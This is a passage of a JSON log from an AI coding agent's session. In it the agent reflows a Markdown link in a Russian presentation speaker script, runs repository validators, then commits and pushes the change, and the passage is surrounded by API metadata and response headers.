[INFO]         \"thinking\": \"\",\n[2026-09-29T08:04:08.135Z] [INFO]         \"signature\": \"CAQS5wYKEAgSGAI4AUIIdGhpbmtpbmcSDMaZtJGP+i7K0/f78hoMkEOUOiCmdEaGhAWRIjCp3ThJeuDTluXSTr7IVuBMWt8kLVMjNgI/s8PEkUda/9YocHmm7lR5HFyUUVP6sLEqhAYB3CnLqpYHsHwQ+wty9bpKZGb9F9SFlk8dMBygLjyss3o33VPWXqXlGGznjNIY9inCJt2AmzYXym9zF+VDhqGYGAET71cwnnejN1MxknqC00BmCZjBcDHGJbj3bzhT29xECVogddvjC/wfM+Vru9Mi6to8yDQb1n+bShUIMoDwAQ1I6+kfx9rBwZ1XGn9eGbyxfdDvMOEblb7nJQvOfbJlg6SqRYgW66ew+Cj7LcSZhkJShQyU4mRYs+osmRLAN8q/Ldd5LRKmaeI/XU4GOLl8+rLcfjmCTAVpW2xus8D01yOI8Ev1WPZQ9nTMaRhzgVyaULseR/B0D37A7CV1on7rNuI9h3ODQ6xcuVs+S8c7GMdewEcv3e0mBzv6jQrVIoKDpmj3pMPVJIFal3kPG5dU0kdlOaqQ7p/Yc00bbKr260WFG7RYKlvGavwjubblzvftOALnj0cmNgdTGck1zD7BCdZgKTp/b1ayWeR7rh+7FkzsptNOeuT1BTShZeA8Lb3CZ31QtCxBhinLnOHFOeepxL3fMS8MAIUe9LoTzD7j3QTOHDlPgtn8rSMQQ+UNIo6AfjpqmKeq6Sp8urJ8UjGMOLj2k3nncG/atbYcwf3ta7ARJYZbbBU01SkNIUfjg5dKf3pwUNb8kG1mJbMAg8E33RiQ58ZL3BSz7nlOTh6vTrZXcztuQl8BJLjunpRuEIZFcWCezy6ghrVrb78ntxmZOHEK0p8k7UO2U4W1H8qBFCWSsX4UJiL8jxF4NSyR/vo7iEw/SCbRjl6ySDFrKlVAzKie+r99qFZnQfFvMnFAUwWvucYLZW2Jbjk2fuuyR3jdwmsHjFqgkDzgdgL1sc0Q1ARL4cGS4KSwA51860jMLgaglk80wjYzJqKEqu7MtEF/1I+qHg+xAYnId6LdU5FGMe7r/58kA4oOYMHi9VBSL4hdVvMQJkKlzn668wm8q5O+d+Kwtk96M1pr/yorFOaR2uVzxkNUtQSKpnoW/A8R6ezFqB1AfTU637n4A3wOiXdlmtTuGAE=\"\n[2026-09-29T08:04:08.135Z] [INFO]       }\n[2026-09-29T08:04:08.135Z] [INFO]     ],\n[2026-09-29T08:04:08.135Z] [INFO]     \"container\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"usage\": {\n[2026-09-29T08:04:08.135Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:04:08.135Z] [INFO]       \"cache_creation_input_tokens\": 858,\n[2026-09-29T08:04:08.135Z] [INFO]       \"cache_read_input_tokens\": 97631,\n[2026-09-29T08:04:08.135Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:04:08.135Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:04:08.135Z] [INFO]         \"ephemeral_1h_input_tokens\": 858\n[2026-09-29T08:04:08.135Z] [INFO]       },\n[2026-09-29T08:04:08.135Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:04:08.135Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:04:08.135Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:04:08.135Z] [INFO]     },\n[2026-09-29T08:04:08.135Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:04:08.135Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"context_management\": null\n[2026-09-29T08:04:08.135Z] [INFO]   },\n[2026-09-29T08:04:08.135Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:08.135Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:08.135Z] [INFO]   \"uuid\": \"f97e5aff-394f-43b7-b7ea-8ddc1cd7b813\",\n[2026-09-29T08:04:08.135Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:08.120Z\",\n[2026-09-29T08:04:08.135Z] [INFO]   \"request_id\": \"req_011CfXPBPiK96E2hiibxHh8h\"\n[2026-09-29T08:04:08.135Z] [INFO] }\n[2026-09-29T08:04:08.150Z] [INFO] {\n[2026-09-29T08:04:08.150Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:04:08.150Z] [INFO]   \"message\": {\n[2026-09-29T08:04:08.150Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:04:08.150Z] [INFO]     \"id\": \"msg_011CfXPBQHo1TpXrTcwQ5yfZ\",\n[2026-09-29T08:04:08.150Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:04:08.150Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:04:08.150Z] [INFO]     \"content\": [\n[2026-09-29T08:04:08.150Z] [INFO]       {\n[2026-09-29T08:04:08.150Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:04:08.150Z] [INFO]         \"text\": \"The link wraps awkwardly across lines, so I'll reflow it:\"\n[2026-09-29T08:04:08.150Z] [INFO]       }\n[2026-09-29T08:04:08.150Z] [INFO]     ],\n[2026-09-29T08:04:08.150Z] [INFO]     \"container\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"usage\": {\n[2026-09-29T08:04:08.150Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:04:08.150Z] [INFO]       \"cache_creation_input_tokens\": 858,\n[2026-09-29T08:04:08.150Z] [INFO]       \"cache_read_input_tokens\": 97631,\n[2026-09-29T08:04:08.150Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:04:08.150Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:04:08.150Z] [INFO]         \"ephemeral_1h_input_tokens\": 858\n[2026-09-29T08:04:08.150Z] [INFO]       },\n[2026-09-29T08:04:08.150Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:04:08.150Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:04:08.150Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:04:08.150Z] [INFO]     },\n[2026-09-29T08:04:08.150Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:04:08.150Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"context_management\": null\n[2026-09-29T08:04:08.150Z] [INFO]   },\n[2026-09-29T08:04:08.150Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:08.150Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:08.150Z] [INFO]   \"uuid\": \"503e558c-4ecc-4846-b1a7-6119b27a2f4e\",\n[2026-09-29T08:04:08.150Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:08.127Z\",\n[2026-09-29T08:04:08.150Z] [INFO]   \"request_id\": \"req_011CfXPBPiK96E2hiibxHh8h\"\n[2026-09-29T08:04:08.150Z] [INFO] }\n[2026-09-29T08:04:12.693Z] [INFO] {\n[2026-09-29T08:04:12.693Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"message\": {\n[2026-09-29T08:04:12.693Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:04:12.693Z] [INFO]     \"id\": \"msg_011CfXPBQHo1TpXrTcwQ5yfZ\",\n[2026-09-29T08:04:12.693Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:04:12.693Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:04:12.693Z] [INFO]     \"content\": [\n[2026-09-29T08:04:12.693Z] [INFO]       {\n[2026-09-29T08:04:12.693Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:04:12.693Z] [INFO]         \"id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:04:12.693Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:04:12.693Z] [INFO]         \"input\": {\n[2026-09-29T08:04:12.693Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md'\\nt=open(p).read()\\na='''- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\n  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'''\\nb='''- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0432\\n  [README](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50):\\n  evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'''\\nassert a in t; open(p,'w').write(t.replace(a,b))\\nEOF\\nfor v in \\\"./tools/validate-frontmatter.sh .\\\" ./tools/validate-rrp-links.sh ./tools/validate-repository-structure.sh; do $v >/dev/null 2>&1 && echo \\\"PASS $v\\\" || echo \\\"FAIL $v\\\"; done\\ngit add -A && git commit -q -m \\\"docs(ba-ai-process): cite exact evidence for prompt-repo evolution (#646)\\n\\nLink the 23-file split to commit d8a4759 and the missing-evals admission\\nto the mango_ba_prompts README instead of its CHANGELOG, which records\\nneither fact.\\\" && git push -q origin issue-646-497e337ac092 && git log --oneline -3\",\n[2026-09-29T08:04:12.693Z] [INFO]           \"description\": \"Fix link formatting, validate, commit, push\"\n[2026-09-29T08:04:12.693Z] [INFO]         },\n[2026-09-29T08:04:12.693Z] [INFO]         \"caller\": {\n[2026-09-29T08:04:12.693Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:04:12.693Z] [INFO]         }\n[2026-09-29T08:04:12.693Z] [INFO]       }\n[2026-09-29T08:04:12.693Z] [INFO]     ],\n[2026-09-29T08:04:12.693Z] [INFO]     \"container\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"usage\": {\n[2026-09-29T08:04:12.693Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:04:12.693Z] [INFO]       \"cache_creation_input_tokens\": 858,\n[2026-09-29T08:04:12.693Z] [INFO]       \"cache_read_input_tokens\": 97631,\n[2026-09-29T08:04:12.693Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:04:12.693Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:04:12.693Z] [INFO]         \"ephemeral_1h_input_tokens\": 858\n[2026-09-29T08:04:12.693Z] [INFO]       },\n[2026-09-29T08:04:12.693Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:04:12.693Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:04:12.693Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:04:12.693Z] [INFO]     },\n[2026-09-29T08:04:12.693Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:04:12.693Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"context_management\": null\n[2026-09-29T08:04:12.693Z] [INFO]   },\n[2026-09-29T08:04:12.693Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:12.693Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"uuid\": \"e04d3317-3ef8-48ea-8a65-0e6dd205362d\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:12.675Z\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"request_id\": \"req_011CfXPBPiK96E2hiibxHh8h\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:04:12.693Z] [INFO]     \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\": {\n[2026-09-29T08:04:12.693Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md'\\nt=open(p).read()\\na='''- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\n  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'''\\nb='''- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0432\\n  [README](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50):\\n  evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'''\\nassert a in t; open(p,'w').write(t.replace(a,b))\\nEOF\\nfor v in \\\"./tools/validate-frontmatter.sh .\\\" ./tools/validate-rrp-links.sh ./tools/validate-repository-structure.sh; do $v >/dev/null 2>&1 && echo \\\"PASS $v\\\" || echo \\\"FAIL $v\\\"; done\\ngit add -A && git commit -q -m \\\"docs(ba-ai-process): cite exact evidence for prompt-repo evolution (#646)\\n\\nLink the 23-file split to commit d8a4759 and the missing-evals admission\\nto the mango_ba_prompts README instead of its CHANGELOG, which records\\nneither fact.\\\" && git push -q origin issue-646-497e337ac092 && git log --oneline -3\",\n[2026-09-29T08:04:12.693Z] [INFO]       \"description\": \"Fix link formatting, validate, commit, push\"\n[2026-09-29T08:04:12.693Z] [INFO]     }\n[2026-09-29T08:04:12.693Z] [INFO]   }\n[2026-09-29T08:04:12.693Z] [INFO] }\n[2026-09-29T08:04:14.679Z] [INFO] {\n[2026-09-29T08:04:14.679Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:14.679Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T08:04:14.679Z] [INFO]   \"tasks\": [],\n[2026-09-29T08:04:14.679Z] [INFO]   \"uuid\": \"a5340316-0a39-4805-a117-d1100e447ac5\",\n[2026-09-29T08:04:14.679Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:14.679Z] [INFO] }\n[2026-09-29T08:04:14.686Z] [INFO] {\n[2026-09-29T08:04:14.686Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:14.686Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T08:04:14.686Z] [INFO]   \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:04:14.686Z] [INFO]   \"patch\": {\n[2026-09-29T08:04:14.686Z] [INFO]     \"status\": \"completed\",\n[2026-09-29T08:04:14.686Z] [INFO]     \"end_time\": 1790669054673\n[2026-09-29T08:04:14.686Z] [INFO]   },\n[2026-09-29T08:04:14.686Z] [INFO]   \"uuid\": \"6acc36fd-1a11-4c99-b663-da55cf8c055d\",\n[2026-09-29T08:04:14.686Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:14.686Z] [INFO] }\n[2026-09-29T08:04:14.689Z] [INFO] {\n[2026-09-29T08:04:14.689Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"tool_use_id\": \"toolu_01RZvV1fFAQtxQYzHHyPnspK\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"output_file\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bm13v5xu1.output\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"summary\": \"Background command \\\"Wait for CI runs to finish\\\" completed (exit code 0)\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"uuid\": \"a1ed4962-4164-434c-bce9-32f0789632b6\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:14.689Z] [INFO] }\n[2026-09-29T08:04:15.741Z] [INFO] {\n[2026-09-29T08:04:15.741Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"task_id\": \"bn5iaow84\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"description\": \"Fix link formatting, validate, commit, push\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T08:04:15.741Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"uuid\": \"6bdebf59-923e-4568-89d4-8973b2436c98\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:15.741Z] [INFO] }\n[2026-09-29T08:04:42.747Z] [INFO] {\n[2026-09-29T08:04:42.747Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4-heartbeat-0\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"elapsed_time_seconds\": 30,\n[2026-09-29T08:04:42.747Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T08:04:42.747Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"uuid\": \"9e22f6b7-159d-4509-9b9b-eb00a63befad\"\n[2026-09-29T08:04:42.747Z] [INFO] }\n[2026-09-29T08:05:12.733Z] [INFO] {\n[2026-09-29T08:05:12.733Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4-heartbeat-1\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"elapsed_time_seconds\": 60,\n[2026-09-29T08:05:12.733Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T08:05:12.733Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"uuid\": \"c7a76869-b612-4d5b-85ad-b15c9051006a\"\n[2026-09-29T08:05:12.733Z] [INFO] }\n[2026-09-29T08:05:25.631Z] [INFO] {\n[2026-09-29T08:05:25.631Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"task_id\": \"bn5iaow84\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"summary\": \"Fix link formatting, validate, commit, push\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"uuid\": \"3b956028-8e27-448c-9554-4aee9ab7bf05\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:25.631Z] [INFO] }\n[2026-09-29T08:05:25.672Z] [INFO] {\n[2026-09-29T08:05:25.672Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"subtype\": \"vcs_state_changed\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"kind\": \"push\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"cwd\": \"/tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"uuid\": \"10c7b028-c878-46ed-80d3-1915b915284e\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:25.672Z] [INFO] }\n[2026-09-29T08:05:25.705Z] [INFO] {\n[2026-09-29T08:05:25.705Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:05:25.705Z] [INFO]   \"message\": {\n[2026-09-29T08:05:25.705Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:05:25.705Z] [INFO]     \"content\": [\n[2026-09-29T08:05:25.705Z] [INFO]       {\n[2026-09-29T08:05:25.705Z] [INFO]         \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:05:25.705Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:05:25.705Z] [INFO]         \"content\": \"PASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-rrp-links.sh\\nPASS ./tools/validate-repository-structure.sh\\na85ff3d docs(ba-ai-process): cite exact evidence for prompt-repo evolution (#646)\\n9fd0ba0 docs(ba-ai-process): add meta-model presentation slides and speaker script (#646)\\n611336a Initial commit with task details\",\n[2026-09-29T08:05:25.705Z] [INFO]         \"is_error\": false\n[2026-09-29T08:05:25.705Z] [INFO]       }\n[2026-09-29T08:05:25.705Z] [INFO]     ]\n[2026-09-29T08:05:25.705Z] [INFO]   },\n[2026-09-29T08:05:25.705Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:25.705Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:25.705Z] [INFO]   \"uuid\": \"21e207cc-0684-49db-b63c-39f18416d86b\",\n[2026-09-29T08:05:25.705Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:25.683Z\",\n[2026-09-29T08:05:25.705Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:05:25.705Z] [INFO]     \"stdout\": \"PASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-rrp-links.sh\\nPASS ./tools/validate-repository-structure.sh\\na85ff3d docs(ba-ai-process): cite exact evidence for prompt-repo evolution (#646)\\n9fd0ba0 docs(ba-ai-process): add meta-model presentation slides and speaker script (#646)\\n611336a Initial commit with task details\",\n[2026-09-29T08:05:25.705Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:05:25.705Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:05:25.705Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:05:25.705Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:05:25.705Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T08:05:25.705Z] [INFO]       \"files\": [\n[2026-09-29T08:05:25.705Z] [INFO]         {\n[2026-09-29T08:05:25.705Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T08:05:25.705Z] [INFO]           \"hunks\": [\n[2026-09-29T08:05:25.705Z] [INFO]             {\n[2026-09-29T08:05:25.705Z] [INFO]               \"oldStart\": 145,\n[2026-09-29T08:05:25.705Z] [INFO]               \"oldLines\": 8,\n[2026-09-29T08:05:25.705Z] [INFO]               \"newStart\": 145,\n[2026-09-29T08:05:25.705Z] [INFO]               \"newLines\": 9,\n[2026-09-29T08:05:25.705Z] [INFO]               \"lines\": [\n[2026-09-29T08:05:25.705Z] [INFO]                 \"   \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T08:05:25.705Z] [INFO]                 \"   \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\",\n[2026-09-29T08:05:25.705Z] [INFO]                 \" - \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\",\n[2026-09-29T08:05:25.705Z] [INFO]                 \"-  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\",\n[2026-09-29T08:05:25.705Z] [INFO]                 \"-  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 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\"req_011CfXPHHhqamrotckTQ46dK\",\n[2026-09-29T08:05:27.562Z] [STDOUT]   \"traceresponse\": \"00-2ecf0cfa600cb41eab5f5631495939b4-19db9b51ffea60f8-01\",\n[2026-09-29T08:05:27.568Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:05:27.572Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:05:27.578Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:05:27.588Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:05:27.602Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:05:27.605Z] [STDOUT]   \"cf-ray\": \"a4297b941e185d90-FRA\",\n[2026-09-29T08:05:27.612Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:05:27.618Z] [STDOUT] [log_709fe3] response parsed {\n[2026-09-29T08:05:27.630Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:27.633Z] [STDOUT]   status: 